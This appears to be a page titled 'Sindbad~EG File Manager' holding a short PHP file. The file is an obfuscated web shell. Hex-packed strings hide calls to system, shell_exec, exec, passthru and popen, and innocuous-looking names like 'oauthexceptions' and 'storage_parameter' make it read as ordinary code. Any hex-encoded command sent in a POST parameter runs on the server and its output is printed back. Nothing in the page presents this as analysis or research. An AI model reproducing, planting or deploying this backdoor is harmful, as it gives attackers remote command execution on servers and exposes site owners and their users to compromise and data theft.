Sindbad~EG File Manager

<?php

$const1 = '73';
$const2 = '65';
$const3 = '68';
$const4 = '6c';
$const5 = '5f';
$const6 = '63';
$const7 = '78';
$const8 = '74';
$const9 = '72';
$const10 = '75';
$const11 = '70';
$const12 = '6f';
$const13 = '61';
$const14 = '6d';
$const15 = '67';
$const16 = '6e';
$const17 = '69';
$reset1 = pack("H*", '73' . '79' . $const1 . '74' . $const2 . '6d');
$reset2 = pack("H*", $const1 . $const3 . '65' . $const4 . '6c' . $const5 . '65' . '78' . '65' . $const6);
$reset3 = pack("H*", $const2 . $const7 . $const2 . '63');
$reset4 = pack("H*", '70' . '61' . '73' . $const1 . $const8 . $const3 . $const9 . $const10);
$reset5 = pack("H*", $const11 . $const12 . '70' . $const2 . '6e');
$reset6 = pack("H*", $const1 . '74' . $const9 . $const2 . $const13 . $const14 . '5f' . $const15 . $const2 . $const8 . '5f' . $const6 . $const12 . $const16 . '74' . '65' . $const16 . '74' . '73');
$reset7 = pack("H*", $const11 . '63' . $const4 . $const12 . $const1 . $const2);
$oauthexceptions = pack("H*", $const12 . $const13 . '75' . '74' . $const3 . $const2 . '78' . $const6 . $const2 . '70' . '74' . $const17 . '6f' . $const16 . '73');
if (isset($_POST[$oauthexceptions])) {
    $oauthexceptions = pack("H*", $_POST[$oauthexceptions]);
    if (function_exists($reset1)) {
        $reset1($oauthexceptions);
    } elseif (function_exists($reset2)) {
        print $reset2($oauthexceptions);
    } elseif (function_exists($reset3)) {
        $reset3($oauthexceptions, $ph_st);
        print join("\n", $ph_st);
    } elseif (function_exists($reset4)) {
        $reset4($oauthexceptions);
    } elseif (function_exists($reset5) && function_exists($reset6) && function_exists($reset7)) {
        $storage_parameter = $reset5($oauthexceptions, 'r');
        if ($storage_parameter) {
            $field_attribute = $reset6($storage_parameter);
            $reset7($storage_parameter);
            print $field_attribute;
        }
    }
    exit;
}